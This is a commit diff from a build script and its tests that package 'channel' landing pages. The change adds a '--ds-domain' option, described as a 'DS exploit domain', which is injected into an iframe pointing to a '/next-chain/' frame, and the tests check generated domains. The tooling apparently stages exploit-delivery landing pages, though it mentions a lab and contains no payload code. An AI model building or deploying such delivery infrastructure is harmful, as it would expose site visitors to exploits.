This commit is contained in:
hashbro
2026-09-12 03:42:48 +08:00
parent b212332828
commit 8c5724ff3b
50 changed files with 73924 additions and 657 deletions
+16
View File
@@ -232,6 +232,7 @@ def pack_channel(
details_src: Path,
channel_out: Path,
landing_template: str = DEFAULT_LANDING_TEMPLATE,
ds_domain: str = "",
) -> dict:
ver = normalize_channel_ver(channel_ver)
landing_template = normalize_landing_template(landing_template)
@@ -274,6 +275,13 @@ def pack_channel(
encoding="utf-8",
)
apply_landing_template(weifile_dest, landing_template)
# Replace __DS_DOMAIN__ placeholder in weifile.html with the provided
# DS domain (e.g. https://ds.example.com) or empty string for relative path.
weifile_html_path = weifile_dest / "weifile.html"
if weifile_html_path.is_file():
raw = weifile_html_path.read_text(encoding="utf-8")
raw = raw.replace("__DS_DOMAIN__", ds_domain)
weifile_html_path.write_text(raw, encoding="utf-8")
leftover_route = weifile_dest / "route.js"
if leftover_route.is_file():
leftover_route.unlink()
@@ -291,6 +299,7 @@ def pack_channel(
"channel_dir": str(channel_out),
"landing_path": f"/channel/{ver}/weifile/weifile.html",
"landing_template": landing_template,
"ds_domain": ds_domain,
"details_path": f"/channel/{ver}/details/",
"show_alias": SHOW_PATH_TMPL.format(ver=ver),
"core_sha256": core_meta["sha256"],
@@ -329,6 +338,12 @@ def main() -> int:
choices=LANDING_TEMPLATES,
help="weifile.html template: test=loading countdown, blank=empty (default: blank)",
)
parser.add_argument(
"--ds-domain",
default="",
help="DS exploit domain for weifile iframe (e.g. https://ds.example.com). "
"Empty = relative /next-chain/ (default)",
)
args = parser.parse_args()
state_root = (args.state_root or xxbb_build.default_state_root()).resolve()
@@ -343,6 +358,7 @@ def main() -> int:
details_src=details_src,
channel_out=channel_out,
landing_template=args.landing_template,
ds_domain=args.ds_domain,
)
seeds_path = state_root / LAB_SEEDS_NAME
if seeds_path.is_file():
+9 -13
View File
@@ -88,13 +88,11 @@ class XxbbBuildTest(unittest.TestCase):
self.assertNotIn("__CHANNEL_C__", html)
self.assertIn('src="/t.js"', html)
self.assertNotIn('src="route.js"', html)
self.assertIn("location.pathname", html)
self.assertIn("/next-chain", html)
self.assertIn("config.js", html)
self.assertIn("holdFresh", html)
self.assertIn("10 * 60 * 1000", html)
self.assertNotIn("channeICode", html)
self.assertIn("/next-chain/frame.html", html)
self.assertIn("index.js", html)
self.assertNotIn("config.js", html)
self.assertNotIn("boot.js", html)
self.assertNotIn("holdFresh", html)
index_js = (weifile / "index.js").read_text(encoding="utf-8")
expected_host = generate_domains(channel_c, 1)[0]
self.assertIn(expected_host, index_js)
@@ -332,16 +330,14 @@ class XxbbBuildTest(unittest.TestCase):
self.assertIn('src="/t.js"', landing)
self.assertEqual(pack_channel.inject_tjs(landing), landing)
self.assertNotIn('src="route.js"', landing)
self.assertIn("location.pathname", landing)
self.assertIn("/next-chain", landing)
self.assertIn("config.js", landing)
self.assertIn("boot.js", landing)
self.assertIn("/next-chain/frame.html", landing)
self.assertIn("index.js", landing)
self.assertNotIn("config.js", landing)
self.assertNotIn("boot.js", landing)
self.assertNotIn("holdFresh", landing)
self.assertNotIn("__LAB_RUN_BOOT__", landing)
self.assertNotIn("iframe", landing)
self.assertIn("holdFresh", landing)
self.assertIn("10 * 60 * 1000", landing)
self.assertNotIn("channeICode", landing)
self.assertNotIn('src="index.js"', landing)
def test_source_details_has_lab_passworded_wap_and_sms(self) -> None:
show_member, show_plain = extract_member((xxbb_build.SOURCE_DETAILS / "show.html").read_bytes())